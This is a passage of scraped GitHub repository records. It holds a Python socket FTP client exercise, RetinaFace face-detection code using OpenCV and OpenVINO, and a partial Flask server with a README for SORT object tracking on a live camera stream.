"YXWwin/FTP", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# _*_ coding:utf-8 _*_\n# Author:Mr.yang\nimport hashlib\nimport socket\nimport struct\nimport json\nimport time\nimport sys\nimport os\n\nclass MYTCPClient:\n address_family = socket.AF_INET\n\n socket_type = socket.SOCK_STREAM\n\n max_packet_size = 8096\n\n request_queue_size = 5\n\n upload_dir = r'%s\\upload' %(os.path.dirname(os.path.abspath(__file__))) # 上传目录的绝对路径\n\n download_dir = r'%s\\download' %(os.path.dirname(os.path.abspath(__file__))) # 上传目录的绝对路径\n\n def __init__(self, client_address):\n self.client_address = client_address\n self.socket = socket.socket(self.address_family, self.socket_type)\n self.connect()\n\n def connect(self):\n \"\"\"与服务端进行双管链接\"\"\"\n try:\n self.socket.connect(self.client_address)\n except Exception:\n exit('\\033[1;31m服务端还未启动\\033[0m')\n\n def run(self):\n \"\"\"将用户信息交给服务端,接收结果\"\"\"\n print('\\033[1;31m最大并发数为2\\033[0m')\n print('\\033[1;31m用户名:yang 密码:123\\033[0m')\n print('\\033[1;31m用户名:hang 密码:123\\033[0m')\n print('\\033[1;31m用户名:liu 密码:123\\033[0m')\n while True:\n username = input('Username:').strip()\n password = input('Password:').strip()\n user_data = {\n 'username' : username,\n 'password' : password\n }\n user_json = json.dumps(user_data)\n user_bytes = user_json.encode('utf-8')\n self.socket.send(user_bytes)\n result = self.socket.recv(self.max_packet_size).decode('utf-8')\n if result == 'yes':\n print('\\033[1;31m--------welcome--------\\033[0m')\n print('\\033[1;31m1.上传文件: geta.txt\\033[0m')\n print('\\033[1;31m2.下载文件: puta.txt\\033[0m')\n print('\\033[1;31m3.切换目录: cd photo\\033[0m')\n print('\\033[1;31m4.增加目录: add fang\\033[0m')\n print('\\033[1;31m5.查看所在目录下的所有文件: ls\\033[0m')\n self.conroller()\n elif result == 'no':\n print('wrong username and password!')\n\n def close(self):\n self.socket.close()\n\n def file_md5(self, filepath):\n \"\"\"读取文件变成bytes类型,进行md5处理\"\"\"\n with open(filepath, 'rb') as f:\n filedata = f.read()\n return hashlib.md5(filedata).hexdigest()\n\n def progress_bar(self,data):\n \"\"\"接收上传文件大小,总文件大小,进行进度条处理\"\"\"\n a = int(data.split(',')[0]) #上传文件大小\n b = int(data.split(',')[1]) #总文件大小\n c = round(a/b *10,1) * 10\n if c == 0:\n pass\n else:\n sys.stdout.write('\\r')\n sys.stdout.write(\"%s%% |%s\" % (int(c), int(c) * '#'))\n sys.stdout.flush()\n time.sleep(0.01)\n\n def put(self,data):\n \"\"\"上传文件\n 1.判断文件是否存在,发送结果到服务端\n 2.制作固定报头\n 3.发送报头长度\n 4.发送报头\n 4.1接收服务端发来的磁盘结果\n 4.1.1接收的信息为 0 用户磁盘空间不足\n 4.1.2没有接收信息为 1 的话,将文件数据发送\n 4.1.3接收的服务端发来的文件结果\n 4.2.1接收的信息为1,说明文件存在,让用户选择是否断点续传\n 4.2.2接收的信息为0,说明文件不存在,\n 4.2.3 发送文件数据\n 4.2.4 进度条处理\n 4.2.4 接受结果为1上传成功\n \"\"\"\n cmd = data[0]\n filename = data[1]\n filepath = \"%s\\%s\" %(self.upload_dir, filename) # 文件路径\n if os.path.exists(filepath):\n self.socket.send(struct.pack('i', 1))\n filesize = os.path.getsize(filepath) # 文件大小\n file_data = {\n 'cmd': cmd,\n 'filename': filename,\n 'filesize': filesize,\n 'md5': self.file_md5(filepath)\n }\n file_json = json.dumps(file_data)\n file_bytes = file_json.encode('utf-8')\n file_struct = struct.pack('i', len(file_bytes))\n self.socket.send(file_struct) # 发送报头长度\n self.socket.send(file_bytes) # 发送报头\n\n disk_result = struct.unpack('i', self.socket.recv(4))[0]\n if disk_result:\n file_result = struct.unpack('i', self.socket.recv(4))[0]\n if file_result:\n choise = input('是否进行断点续传(Y/N):')\n if choise == 'Y' or 'y':\n num = int(struct.unpack('i', self.socket.recv(4))[0])\n elif choise == 'N' or 'n':\n num = 0\n else:\n num = 0\n with open(filepath,'rb') as f:\n f.seek(num)\n for line in f:\n self.socket.send(line)\n data = self.socket.recv(self.max_packet_size).decode('utf-8')\n self.progress_bar(data) # 进度条处理\n\n md5_result = struct.unpack('i', self.socket.recv(4))[0]\n if md5_result:\n print('上传成功')\n else:\n print('上传失败')\n else:\n print('\\033[1;31m您的磁盘空间不足\\033[0m')\n else:\n print('\\033[1;31m文件不存在\\033[0m')\n self.socket.send(struct.pack('i', 0))\n\n def get(self, data):\n \"\"\"\n 1.接收判断文件信息的结果\n 1.1 接收结果为 yes\n 1.2 接收报头长度\n 1.3 接收报头\n 1.4 接收服务端发来文件数据\n 1.5 用md5 判断服务端发来的文件信息是否完整\n \"\"\"\n result = struct.unpack('i', self.socket.recv(4))[0]\n if result:\n try:\n header_size = struct.unpack('i', self.socket.recv(4))[0] # 报头长度\n header_bytes = self.socket.recv(header_size) # 接收报头\n header_json = json.loads(header_bytes) # 文件信息\n recv_size = 0\n user_file_path = '%s\\%s' % (self.download_dir, header_json['filename']) # 用户客户端的文件目录\n\n if os.path.exists(user_file_path):\n filesize = os.path.getsize(user_file_path)\n total_size = header_json['filesize'] - filesize\n self.socket.send(struct.pack('i', 1))\n self.socket.send(str(filesize).encode('utf-8'))\n else:\n self.socket.send(struct.pack('i', 0))\n total_size = header_json['filesize']\n\n with open(user_file_path, 'ab') as f:\n while recv_size < total_size:\n res = self.socket.recv(self.max_packet_size)\n f.write(res)\n recv_size += len(res)\n self.progress_bar('%s,%s' %(recv_size,total_size))\n if header_json['md5'] == self.file_md5(user_file_path):\n print('下载成功')\n else:\n print('下载失败')\n except:\n print('文件下载失败')\n else:\n print('\\033[1;31m文件不存在\\033[0m')\n\n def lis(self,data):\n catalog = data[0]\n file = data[1]\n if catalog or file:\n for i in catalog:\n if i:\n print('目录',i)\n else:\n pass\n for i in file:\n if i:\n print('文件',i)\n else:\n pass\n else:\n print('该目录下没有文件')\n\n def ls(self,data):\n \"\"\"查看当前目录的所有文件\"\"\"\n catalog_name = self.socket.recv(self.max_packet_size).decode('utf-8')\n catalog_result = self.socket.recv(self.max_packet_size).decode('utf-8')\n print('\\033[1;31m----目录%s的所有文件如下----\\033[0m' %catalog_name)\n if catalog_result :\n catalog = self.socket.recv(self.max_packet_size)\n self.lis(json.loads(catalog))\n else:\n print('\\033[1;31m当前目录没有文件\\033[0m')\n\n def add(self,data):\n \"\"\"增加目录\"\"\"\n self.socket.send(data[1].encode('utf-8'))\n\n def cd(self,data):\n \"\"\"切换目录\"\"\"\n self.socket.send(data[1].encode('utf-8'))\n result = struct.unpack('i', self.socket.recv(4))[0]\n if result:\n print('成功切换到%s目录' %data[1])\n else:\n print('\\033[1;31m没有%s目录\\033[0m' %data[1])\n\n def q(self,data):\n exit()\n\n def conroller(self):\n \"\"\"\n 与服务端进行信息交互,\n 将命令发送到服务端\n 1.上传文件: get a.txt\n 2.下载文件: put a.txt\n 3.切换目录: cd photo\n 4.增加目录: add fang\n 3.查看所在目录下的所有文件: ls\n \"\"\"\n while True:\n try:\n inp = input('>>(q退出):').strip() # 输入命令\n if not inp: continue\n if inp != 'q':\n self.socket.send(inp.encode('utf-8'))\n data = inp.split() # ['put','a.txt']\n cmd = data[0]\n if hasattr(self, cmd):\n func = getattr(self, cmd)\n func(data)\n else:\n print('\\033[1;31m输入的命令错误\\033[0m')\n else:\n exit()\n except Exception:\n self.socket.close()\n exit()\n\n\nif __name__ == '__main__':\n obj = MYTCPClient(('127.0.0.1', 8060))\n obj.run()\n obj.close()" } ]
8
yoobright/retinaface_py_opencv
https://github.com/yoobright/retinaface_py_opencv
7d10587e685c3a4eb938b92c25897faa21c8d687
4e4a2dffad0e45eb8538839b0f0af0a9c2ad643a
abfedae30226aa931318c377e350eadb5e2bf571
refs/heads/master
2020-11-30T14:24:27.611596
2019-12-27T11:21:52
2019-12-27T11:21:52
230,416,336
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.38769692182540894, "alphanum_fraction": 0.4159039855003357, "avg_line_length": 26.87447738647461, "blob_id": "6995f59f1b6aa9db8cef99fc176d470610e662dc", "content_id": "16f54d0561d550f8201f06a89a9a36c940e502e3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6665, "license_type": "no_license", "max_line_length": 90, "num_lines": 239, "path": "/anchor.py", "repo_name": "yoobright/retinaface_py_opencv", "src_encoding": "UTF-8", "text": "\nimport math\n\n\nclass Point:\n x = 0 \n y = 0\n def __init__(self, x, y):\n self.x = x\n self.y = y\n \n\nclass AnchorCfg:\n SCALES = []\n RATIOS = []\n BASE_SIZE = 0\n\n def __init__(self, s, r, size):\n self.SCALES = s\n self.RATIOS = r\n self.BASE_SIZE = size\n\n\nclass CRect2f:\n val = []\n \n def __init__(self, x1, y1, x2, y2):\n \n self.val.append(x1)\n self.val.append(y1)\n self.val.append(x2)\n self.val.append(y2)\n\n def __getitem__(self, key):\n return self.val[key]\n\n\n def print(self):\n\t print(\"rect: {} {} {} {}\".format(self.val[0], self.val[1], self.val[2], self.val[3]))\n\t\n\n\nclass Anchor:\n\n anchor = []\n reg = [0, 0, 0, 0]\n center = [0, 0]\n score = 0.\n pts = []\n finalbox = [0, 0, 0, 0]\n\n def __init__(self):\n super().__init__()\n\n\n def __getitem__(self, key):\n return self.finalbox[key]\n\n\n def __gt__(self, other):\n return self.score > other.score\n\n def __lt__(self, other):\n return self.score < other.score\n\n\n\nclass AnchorGenerator:\n anchor_size = [] \n anchor_ratio = []\n anchor_step = 0.\n anchor_stride = 0\n feature_w = 0\n feature_h = 0\n preset_anchors = []\n anchor_num = 0\n\n def __init__(self):\n super().__init__()\n\n def Init(self, stride, cfg, dense_anchor=False):\n base_anchor = [0, 0, cfg.BASE_SIZE-1, cfg.BASE_SIZE-1]\n ratio_anchors = []\n ratio_anchors = self._ratio_enum(base_anchor, cfg.RATIOS)\n self.preset_anchors = self._scale_enum(ratio_anchors, cfg.SCALES)\n\n if dense_anchor:\n assert(stride % 2 == 0)\n for anchor in preset_anchors:\n self.preset_anchors.append(\n [anchor[0]+int(stride/2),\n anchor[1]+int(stride/2),\n anchor[2]+int(stride/2),\n anchor[3]+int(stride/2)]\n\n )\n\n self.anchor_stride = stride\n\n self.anchor_num = len(self.preset_anchors)\n return self\n\n\n def Generate(self, fwidth, fheight, stride, step, size, ratio, dense_anchor):\n pass\n\n def FilterAnchor(self, cls, reg, pts):\n assert(cls.shape[1] == self.anchor_num*2)\n assert(reg.shape[1] == self.anchor_num*4)\n pts_length = 0\n if pts is not None:\n assert(pts.shape[1] % self.anchor_num == 0)\n pts_length = int(pts.shape[1]/self.anchor_num/2)\n \n\n w = cls.shape[3]\n h = cls.shape[2]\n step = h*w\n cls_threshold = 0.8\n\n result = []\n for i in range(h):\n for j in range(w):\n for a in range(self.anchor_num):\n cls_s = cls[0][self.anchor_num + a][i][j]\n if cls_s> cls_threshold:\n # print(cls_s)\n box = [\n j * self.anchor_stride + self.preset_anchors[a][0],\n i * self.anchor_stride + self.preset_anchors[a][1],\n j * self.anchor_stride + self.preset_anchors[a][2],\n i * self.anchor_stride + self.preset_anchors[a][3]\n ]\n\n # print(\"{} {} {} {}\".format(box[0], box[1], box[2], box[3]))\n\n delta = [\n reg[0][a*4+0][i][j],\n reg[0][a*4+1][i][j],\n reg[0][a*4+2][i][j],\n reg[0][a*4+3][i][j]\n ]\n res = Anchor()\n res.anchor = box\n res.finalbox = self.bbox_pred(box, delta)\n res.score = cls_s\n res.center = [i, j]\n # print(\"center: {}\".format(res.center))\n\n\n if pts is not None:\n pts_delta = []\n for p in range(pts_length):\n pts_delta.append(Point(\n pts[0][a*pts_length*2+p*2][i][j],\n pts[0][a*pts_length*2+p*2+1][i][j]\n ))\n\n res.pts = self.landmark_pred(box, pts_delta)\n result.append(res)\n\n return result\n\n def _ratio_enum(self, anchor: list, ratios: list):\n w = anchor[2] - anchor[0] + 1\n h = anchor[3] - anchor[1] + 1\n x_ctr = anchor[0] + 0.5 * (w - 1)\n y_ctr = anchor[1] + 0.5 * (h - 1)\n\n ratio_anchors = []\n sz = w * h\n\n for r in ratios:\n size_ratios = sz / r\n ws = math.sqrt(size_ratios)\n hs = ws * r\n ratio_anchors.append(\n [x_ctr - 0.5 * (ws - 1),\n y_ctr - 0.5 * (hs - 1),\n x_ctr + 0.5 * (ws - 1),\n y_ctr + 0.5 * (hs - 1)]\n )\n \n return ratio_anchors\n\n def _scale_enum(self, ratio_anchor: list, scales: list):\n scale_anchors = []\n for anchor in ratio_anchor:\n w = anchor[2] - anchor[0] + 1\n h = anchor[3] - anchor[1] + 1\n x_ctr = anchor[0] + 0.5 * (w - 1)\n y_ctr = anchor[1] + 0.5 * (h - 1)\n\n for s in scales:\n ws = w * s\n hs = h * s\n scale_anchors.append(\n [x_ctr - 0.5 * (ws - 1),\n y_ctr - 0.5 * (hs - 1),\n x_ctr + 0.5 * (ws - 1),\n y_ctr + 0.5 * (hs - 1)]\n )\n\n return scale_anchors\n\n def bbox_pred(self, anchor: list, delta: list):\n w = anchor[2] - anchor[0] + 1\n h = anchor[3] - anchor[1] + 1\n x_ctr = anchor[0] + 0.5 * (w - 1)\n y_ctr = anchor[1] + 0.5 * (h - 1)\n\n dx = delta[0]\n dy = delta[1]\n dw = delta[2]\n dh = delta[3]\n\n pred_ctr_x = dx * w + x_ctr\n pred_ctr_y = dy * h + y_ctr\n pred_w = math.exp(dw) * w\n pred_h = math.exp(dh) * h\n\n box = (pred_ctr_x - 0.5 * (pred_w - 1.0),\n\t pred_ctr_y - 0.5 * (pred_h - 1.0),\n\t pred_ctr_x + 0.5 * (pred_w - 1.0),\n\t pred_ctr_y + 0.5 * (pred_h - 1.0))\n\n return box\n\n def landmark_pred(self, anchor: CRect2f, delta: list):\n w = anchor[2] - anchor[0] + 1\n h = anchor[3] - anchor[1] + 1\n x_ctr = anchor[0] + 0.5 * (w - 1)\n y_ctr = anchor[1] + 0.5 * (h - 1)\n\n pts = []\n for d in delta:\n p = Point(d.x*w + x_ctr, d.y*h + y_ctr)\n pts.append(p)\n\n return pts\n\n\n" }, { "alpha_fraction": 0.511049747467041, "alphanum_fraction": 0.5437384843826294, "avg_line_length": 27.97333335876465, "blob_id": "505ade23b3cff615b02f491b8cc90d2f190b9420", "content_id": "f24443b7bd0d1d0e0224bcb47c8487a7b945a274", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2172, "license_type": "no_license", "max_line_length": 92, "num_lines": 75, "path": "/demo.py", "repo_name": "yoobright/retinaface_py_opencv", "src_encoding": "UTF-8", "text": "import cv2\nimport time\nimport numpy as np\nfrom anchor import AnchorCfg,AnchorGenerator\nfrom utils import py_cpu_nms\n\ncls_threshold = 0.8\nnms_threshold = 0.4\nmean = (0, 0, 0)\nblob_size = 640\n\nfeat_stride_fpn = [32, 16, 8]\nanchor_cfg = {\n 32: AnchorCfg([32, 16], [1], 16),\n 16: AnchorCfg([8, 4,], [1], 16),\n 8: AnchorCfg([2, 1], [1], 16)\n}\n\nac = [AnchorGenerator().Init(s, anchor_cfg[s]) for s in feat_stride_fpn]\n\n\ndef main():\n net = cv2.dnn.readNetFromCaffe(\"caffemodel/mnet.prototxt\", \"caffemodel/mnet.caffemodel\")\n cap = cv2.VideoCapture(0)\n\n while(True):\n ret, img = cap.read()\n if not ret:\n continue\n\n height, width, _ = img.shape\n h_f = height / blob_size\n w_f = width / blob_size\n\n anchor_list = []\n blob = cv2.dnn.blobFromImage(img, 1, (blob_size, blob_size), mean, False, False)\n s_time = time.time()\n\n output_name = []\n for i, s in enumerate(feat_stride_fpn):\n s_time = time.time()\n output_name.append(\"face_rpn_cls_prob_reshape_stride{}\".format(s))\n output_name.append(\"face_rpn_bbox_pred_stride{}\".format(s))\n output_name.append(\"face_rpn_landmark_pred_stride{}\".format(s))\n \n s_time = time.time()\n net.setInput(blob)\n forward_out = net.forward(output_name)\n print(\"cost: {}\".format(time.time() - s_time))\n\n for i, s in enumerate(feat_stride_fpn):\n c_out = forward_out[i*3+0]\n b_out = forward_out[i*3+1]\n l_out = forward_out[i*3+2]\n det_i = ac[i].FilterAnchor(c_out, b_out, l_out)\n if det_i is not None and len(det_i) > 0:\n anchor_list.extend(det_i)\n\n k_index = py_cpu_nms(anchor_list, nms_threshold)\n for i in k_index:\n anchor = anchor_list[i]\n p0 = (int(anchor[0]* w_f), int(anchor[1] * h_f))\n p1 = (int(anchor[2]* w_f), int(anchor[3] * h_f))\n cv2.rectangle(img, p0, p1, (0, 255, 255), 2 )\n\n cv2.imshow(\"test\", img)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n print(\"done\")\n\n\n\n\nif __name__ == \"__main__\":\n main()" }, { "alpha_fraction": 0.5626174211502075, "alphanum_fraction": 0.5854727625846863, "avg_line_length": 30.323530197143555, "blob_id": "13bb94951938016a68d3fa85dc6c77416f817498", "content_id": "ed0b7d61be3f4545b7d6476807f6605b8351e149", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3194, "license_type": "no_license", "max_line_length": 119, "num_lines": 102, "path": "/vino_demo.py", "repo_name": "yoobright/retinaface_py_opencv", "src_encoding": "UTF-8", "text": "import os\nimport sys\nimport cv2\nimport time\nimport logging as log\nimport numpy as np\nfrom openvino.inference_engine import IENetwork, IEPlugin\nfrom anchor import AnchorCfg, AnchorGenerator, Anchor\nfrom utils import py_cpu_nms\n\n\ndevice = \"CPU\"\nconfig = \"\"\nmodel_xml = \"model/mnet.xml\"\nmodel_bin = os.path.splitext(model_xml)[0] + \".bin\"\ncls_threshold = 0.8\nnms_threshold = 0.4\nmean = (0, 0, 0)\nblob_size = 640\n\nfeat_stride_fpn = [32, 16, 8]\nanchor_cfg = {\n 32: AnchorCfg([32, 16], [1], 16),\n 16: AnchorCfg([8, 4,], [1], 16),\n 8: AnchorCfg([2, 1], [1], 16)\n}\n\nac = [AnchorGenerator().Init(s, anchor_cfg[s]) for s in feat_stride_fpn]\n\nlog.basicConfig(format=\"[ %(levelname)s ] %(message)s\", level=log.INFO, stream=sys.stdout)\n\n\n\n\n\ndef main():\n plugin = IEPlugin(device=device, plugin_dirs=\"\")\n net = IENetwork(model=model_xml, weights=model_bin)\n if 'CPU' in device:\n plugin.add_cpu_extension(\"cpu_extension_avx2\")\n\n if \"CPU\" in plugin.device:\n supported_layers = plugin.get_supported_layers(net)\n not_supported_layers = [l for l in net.layers.keys() if l not in supported_layers]\n if len(not_supported_layers) != 0:\n log.error(\"Following layers are not supported by the plugin for specified device {}:\\n {}\".\n format(plugin.device, ', '.join(not_supported_layers)))\n log.error(\"Please try to specify cpu extensions library path in sample's command line parameters using -l \"\n \"or --cpu_extension command line argument\")\n sys.exit(1)\n\n\n exec_net = plugin.load(network=net, config=config)\n\n input_blob = next(iter(net.inputs))\n out_blob = next(iter(net.outputs))\n\n n, c, h, w = net.inputs[input_blob].shape\n\n cap = cv2.VideoCapture(0)\n\n while(True):\n ret, img = cap.read()\n if not ret:\n continue\n\n height, width, _ = img.shape\n h_f = height / blob_size\n w_f = width / blob_size\n\n anchor_list = []\n input_data = cv2.resize(img, (w, h))\n input_data = cv2.cvtColor(input_data, cv2.COLOR_BGR2RGB)\n input_data = input_data.transpose((2, 0, 1))\n input_data = input_data.reshape((n, c, h, w))\n\n time_s = time.time()\n res = exec_net.infer(inputs={input_blob: input_data})\n print(\"cost: {}\".format(time.time() - time_s))\n\n for i, s in enumerate(feat_stride_fpn):\n c_out = res[\"face_rpn_cls_prob_reshape_stride{}\".format(s)]\n b_out = res[\"face_rpn_bbox_pred_stride{}\".format(s)]\n l_out = res[\"face_rpn_landmark_pred_stride{}\".format(s)]\n det_i = ac[i].FilterAnchor(c_out, b_out, l_out)\n if det_i is not None and len(det_i) > 0:\n anchor_list.extend(det_i)\n\n k_index = py_cpu_nms(anchor_list, nms_threshold)\n for i in k_index:\n anchor = anchor_list[i]\n p0 = (int(anchor[0]* w_f), int(anchor[1] * h_f))\n p1 = (int(anchor[2]* w_f), int(anchor[3] * h_f))\n cv2.rectangle(img, p0, p1, (0, 255, 255), 2 )\n\n cv2.imshow(\"test\", img)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n\nif __name__ == \"__main__\":\n main()" } ]
3
perryhau/douban-orz
https://github.com/perryhau/douban-orz
55776ea27b078f93f4434a042070ca51a6431d68
2fa851861dad9c15f29f300d3452695ab7b1d03e
e0eae7965618f7bb19a0188154a77ce6827bdd21
refs/heads/master
2021-01-21T09:14:51.930008
2014-02-11T04:00:35
2014-02-11T04:00:35
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4796747863292694, "alphanum_fraction": 0.5365853905677795, "avg_line_length": 40, "blob_id": "761cc7a9d57b2bad64fd2d493317e6e574d1caf2", "content_id": "05cf7b8e6d228a5e3cdac30fc6a7e92feb5a5f16", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 123, "license_type": "no_license", "max_line_length": 93, "num_lines": 3, "path": "/ORZ/__init__.py", "repo_name": "perryhau/douban-orz", "src_encoding": "UTF-8", "text": "version_info = (0, 4, 0, 0)\n\n__version__ = \"%s.%s\" % (version_info[0], \"\".join(str(i) for i in version_info[1:] if i > 0))\n" }, { "alpha_fraction": 0.5337153077125549, "alphanum_fraction": 0.5416483283042908, "avg_line_length": 28.454545974731445, "blob_id": "31041415bd6a8f0a0d7273ee2eb2ec6b75a20acf", "content_id": "e31b64497efa12068be66d5d5cc22dc1e9c5dc1f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2269, "license_type": "no_license", "max_line_length": 107, "num_lines": 77, "path": "/tests/test_cache.py", "repo_name": "perryhau/douban-orz", "src_encoding": "UTF-8", "text": "from unittest import TestCase, skip\n\nfrom .env_init import store, mc, initted\nfrom ORZ.exports import OrzBase, OrzField, orz_get_multi, OrzPrimaryField, setup as setup_orz\n\nclass MCDetector(object):\n def __init__(self, mc):\n self.mc = mc\n self.hitted = False\n\n def get(self, key):\n ret = self.mc.get(key)\n self.hitted = (ret is not None)\n return ret\n\n\n def __getattr__(self, attr):\n return getattr(self.mc, attr)\n\nmcd = MCDetector(mc)\nsetup_orz(store, mcd)\n\nclass Dummy(OrzBase):\n __orz_table__ = 'test_orz'\n\n subject_id = OrzField(as_key=OrzField.KeyType.ASC)\n ep_num = OrzField(as_key=OrzField.KeyType.ASC, default=0)\n content = OrzField(default='hello world')\n\nclass TestCache(TestCase):\n def setUp(self):\n cursor = store.get_cursor()\n cursor.execute('''DROP TABLE IF EXISTS `test_orz`''')\n cursor.delete_without_where = True\n cursor.execute('''\n CREATE TABLE `test_orz`\n ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\n `subject_id` int(10) unsigned NOT NULL,\n `ep_num` int(10) unsigned NOT NULL,\n `content` varchar(100) NOT NULL,\n PRIMARY KEY (`id`),\n KEY `idx_subject` (`subject_id`, `ep_num`, `id`)) ENGINE=MEMORY AUTO_INCREMENT=1''')\n\n def tearDown(self):\n store.get_cursor().execute('truncate table `test_orz`')\n mc.clear()\n\n def test_invalidation(self):\n def run_pred(cond_and_pred):\n for cond, pred in cond_and_pred:\n Dummy.gets_by(**cond)\n self.assertEqual(mcd.hitted, pred)\n\n cond_all = dict(subject_id=1, ep_num=1)\n cond_1 = dict(subject_id=1)\n d = Dummy.create(**cond_all)\n before = (\n (cond_all, False),\n (cond_all, True),\n (cond_1, False),\n (cond_1, True),\n )\n\n after = (\n (cond_all, False),\n (cond_1, False),\n )\n\n run_pred(before)\n d.invalidate_cache()\n run_pred(after)\n\n mcd.clear()\n\n run_pred(before)\n Dummy.invalidate_cache_by_condition(**cond_all)\n run_pred(after)\n\n" }, { "alpha_fraction": 0.49395161867141724, "alphanum_fraction": 0.5887096524238586, "avg_line_length": 13.114285469055176, "blob_id": "74662f2c1abd26b25c86ff94c09ba8598df73195", "content_id": "f7b7ed16eec7eecdb171f0ee2866e890be11c154", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 720, "license_type": "no_license", "max_line_length": 57, "num_lines": 35, "path": "/docs/Changelog/index.rst", "repo_name": "perryhau/douban-orz", "src_encoding": "UTF-8", "text": "Changelog\n^^^^^^^^^\n\nORZ 0.4@2014-02-08\n''''''''''''''''''''\n\n[Feature]:\n\n 0. 增加清除缓存的接口\n\n[Refactor]:\n\n 1. 去除ORZ.__init__ 对于 ORZ.exports的依赖, 以便于导入__version__\n\nORZ 0.3.3@2014-02-07\n''''''''''''''''''''\n\n[BugFix]:\n\n 0. 修正文档中例子代码\n\n[Refactor]:\n\n 0. 清理v0.1时候的遗留代码,合并OrmItem 到 OrzField\n\n\nORZ 0.3.0@2014-01-15\n''''''''''''''''''''\n\n0. 使用OrzBase 以及 Nested Class OrzMeta 来代替orz\\_decorate;\n orz\\_decorate只是废弃了,但在这个版本中仍然可以照常使用。具体区别可以见PR2637\n1. 增加了事务\n2. 优化了性能\n3. 优化了默认值的处理(具体见文档)\n4. 整了一个文档的雏形\n\n\n" } ]
3
littlehanli/SORT-Live-Streaming
https://github.com/littlehanli/SORT-Live-Streaming
a504f19e1a3fa8dba6c8cc0e68d35d94e0530b4c
5e0ed915720e9c75deaed7d003ca1f9137868dce
011f11d3c70bdbfa116473d874043f2c7b173e09
refs/heads/main
2023-02-14T16:58:38.678810
2021-01-15T03:29:08
2021-01-15T03:29:08
329,274,944
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6900672316551208, "alphanum_fraction": 0.7236743569374084, "avg_line_length": 33.23684310913086, "blob_id": "c81658b4af93addb5627cee82cb7f8530c34cc91", "content_id": "7201b999ebcf085e1f426b5f9d5a3ae49dbc9c14", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1339, "license_type": "no_license", "max_line_length": 112, "num_lines": 38, "path": "/README.md", "repo_name": "littlehanli/SORT-Live-Streaming", "src_encoding": "UTF-8", "text": "# SORT-Live-Streaming\r\nThis is MOT task with live streaming.\r\n\r\n## Workflow\r\n### Live STreaming and Tracking\r\n* Set up the server and camera live streaming.\r\n* Use SORT model to do multiple objects tracking and save frame as jpg.\r\n* Each 50 frames do transcode:\r\n * Collect all frames and output .mp4 through FFMPEG.\r\n * Transcode .mp4 to .ts and .m3u8 through FFMPEG.\r\n * Remove the last line (#EXT-X-ENDLIST) in .m3u8 file to ensure continuous streaming.\r\n\r\n### Specific Object Tracking\r\n* Use XMLHttpRequest to GET all bbox list from server and show on html selectionbox.\r\n* Use XMLHttpRequest to POST the submit from user selection to server and display the specific bbox.\r\n\r\n## Requirements\r\n### Python Packages\r\n* Flask\r\n* pytorch\r\n* imutils\r\n* filterpy\r\n\r\n### Others\r\n* ffmpeg\r\n\r\n## Main Files\r\n* [SORT-tracking](https://github.com/cfotache/pytorch_objectdetecttrack)\r\n* [Flask and JPG stream](https://www.pyimagesearch.com/2019/09/02/opencv-stream-video-to-web-browser-html-page/)\r\n* object_tracking.py : setup server, load camera, and display tracking result\r\n* models.py: create module and YOLOv3 model\r\n* sort.py: detect and tracking\r\n\r\n## Usages\r\n* camera tracking on web\r\n```python object_tracker.py --ip 0.0.0.0 --port 8000```\r\n* Access web [127.0.0.1:8000](127.0.0.1:8000).\r\n* Select specific bbox id from selectionbox.\r\n" }, { "alpha_fraction": 0.5493754744529724, "alphanum_fraction": 0.5800149440765381, "avg_line_length": 33.82155990600586, "blob_id": "81941e6410887d1f8d6098fe5bbb8ad522fd9343", "content_id": "e97596a72532c8627f99e990322db3fdf26cd5f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9367, "license_type": "no_license", "max_line_length": 171, "num_lines": 269, "path": "/object_tracker.py", "repo_name": "littlehanli/SORT-Live-Streaming", "src_encoding": "UTF-8", "text": "# python object_tracker.py --ip 0.0.0.0 --port 8000\nfrom models import *\nfrom utils import *\nfrom sort import *\nimport cv2\n\nimport os, sys, time, datetime, random\nimport os.path as osp\nimport torch\nfrom torch.utils.data import DataLoader\nfrom torchvision import datasets, transforms\nfrom torch.autograd import Variable\n\nfrom PIL import Image\n\nfrom imutils.video import VideoStream\nfrom flask import Flask, render_template, Response, jsonify,request\nimport threading, argparse, imutils\n\noutputFrame = None\nlock = threading.Lock()\nall_id = np.empty([1])\nget_data = -1\n\n# initialize a flask object\napp = Flask(__name__)\napp.config['TEMPLATES_AUTO_RELOAD'] = True\nextra_files = ['./static/data/playlist.m3u8']\n\nvs = VideoStream(src=0).start()\ntime.sleep(2.0)\n\n# load weights and set defaults\nconfig_path='config/yolov3.cfg'\nweights_path='config/yolov3.weights'\nclass_path='config/coco.names'\nimg_size=416\nconf_thres=0.8\nnms_thres=0.4\n\n# load model and put into eval mode\nmodel = Darknet(config_path, img_size=img_size)\nmodel.load_weights(weights_path)\nmodel.cuda()\nmodel.eval()\n\nclasses = utils.load_classes(class_path)\nTensor = torch.cuda.FloatTensor\n\n # initalize frame directory\ncmd_str = f'rmdir /s /q static\\\\data\\\\frame'\nos.system(cmd_str)\nos.mkdir(f'static\\\\data\\\\frame')\ncmd_str = f'del static\\\\data\\\\*.ts'\nos.system(cmd_str)\n\[email protected](\"/\")\ndef index():\n\t# return the rendered template\n\treturn render_template(\"index.html\")\n\ndef detect_image(img):\n # scale and pad image\n ratio = min(img_size/img.size[0], img_size/img.size[1])\n imw = round(img.size[0] * ratio)\n imh = round(img.size[1] * ratio)\n img_transforms = transforms.Compose([ transforms.Resize((imh, imw)),\n transforms.Pad((max(int((imh-imw)/2),0), max(int((imw-imh)/2),0), max(int((imh-imw)/2),0), max(int((imw-imh)/2),0)),\n (128,128,128)),\n 